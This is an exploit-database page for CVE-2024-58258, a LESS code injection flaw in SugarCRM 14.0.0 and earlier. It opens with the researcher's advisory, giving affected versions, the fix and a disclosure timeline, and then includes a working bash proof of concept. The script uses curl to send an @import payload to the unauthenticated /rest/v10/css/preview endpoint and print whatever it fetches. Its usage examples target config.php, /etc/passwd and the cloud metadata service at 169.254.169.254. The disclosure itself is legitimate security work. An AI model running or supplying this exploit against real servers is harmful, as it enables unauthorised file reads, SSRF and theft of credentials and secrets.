Sploitus

Exploit for πŸ“„ SugarCRM 14.0.0 Code Injection / SSRF / File Read

packetstorm Β· 2025-07-14

Exploit Code

python118 lines
## https://sploitus.com/exploit?id=PACKETSTORM:206496
------------------------------------------------------------------
    SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Vulnerability
    ------------------------------------------------------------------
    
    
    [-] Software Link:
    
    https://www.sugarcrm.com
    
    
    [-] Affected Versions:
    
    All commercial versions before 13.0.4 and 14.0.1.
    
    
    [-] Vulnerability Description:
    
    User input passed through GET parameters to the /css/preview REST API
    endpoint is not properly sanitized before parsing it as LESS code. This can
    be exploited by remote, unauthenticated attackers to inject and execute
    arbitrary LESS directives. By abusing the @import LESS statement, an
    attacker can trigger Server-Side Request Forgery (SSRF) or read arbitrary
    local files on the web server, potentially leading to the disclosure of
    sensitive information.
    
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/CVE-2024-58258.sh
    
    
    [-] Solution:
    
    Upgrade to version 13.0.4, 14.0.1, or later.
    
    
    [-] Disclosure Timeline:
    
    [07/09/2024] - Vendor notified through HackerOne
    [03/10/2024] - Versions 13.0.4 and 14.0.1 released
    [03/01/2025] - Vendor closed the HackerOne report as "Resolved"
    [12/07/2025] - CVE identifier requested
    [13/07/2025] - CVE identifier assigned
    [14/07/2025] - Public disclosure
    
    
    [-] CVE Reference:
    
    The Common Vulnerabilities and Exposures program (cve.org) has assigned the
    name CVE-2024-58258 to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    http://karmainsecurity.com/KIS-2025-04
    
    
    [-] Other References:
    
    https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/
    
    
    ---- poc ----
    
    #!/bin/bash
    #
    # ------------------------------------------------------------------
    # SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Vulnerability
    # ------------------------------------------------------------------
    #
    # author..............: Egidio Romano aka EgiX
    # mail................: n0b0d13s[at]gmail[dot]com
    # software link.......: https://www.sugarcrm.com
    #
    # +-------------------------------------------------------------------------+
    # | This proof of concept code was written for educational purpose only.    |
    # | Use it at your own risk. Author will be not responsible for any damage. |
    # +-------------------------------------------------------------------------+
    #
    # [-] Original Advisory:
    #
    # https://karmainsecurity.com/KIS-2025-04
    
    echo
    echo "+----------------------------------------------------------------------+";
    echo "| SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Exploit by EgiX |";
    echo "+----------------------------------------------------------------------+";
    
    if [ "$#" -ne 2 ]; then
        echo -ne "\nUsage.....: $0 <SugarCRM URL> <Local File or SSRF URL>\n"
        echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' 'config.php'"
        echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' '/etc/passwd'"
        echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://localhost:9200/_search'"
        echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://169.254.169.254/latest/meta-data/'\n\n"
        exit 1
    fi
    
    urlencode() {
        echo -n "$1" | xxd -p | tr -d '\n' | sed 's/../%&/g'
    }
    
    INJECTION=$(urlencode "1; @import (inline) '$2'; @import (inline) 'data:text/plain,________';//")
    RESPONSE=$(curl -ks "${1}rest/v10/css/preview?baseUrl=1&param=${INJECTION}")
    
    if echo "$RESPONSE" | grep -q "________"; then
        echo -e "\nOutput for '$2':\n"
        echo "$RESPONSE" | sed '/________/q' | grep -v '________'
        echo
    else
        echo -e "\nError: exploit failed!\n"
        exit 2
    fi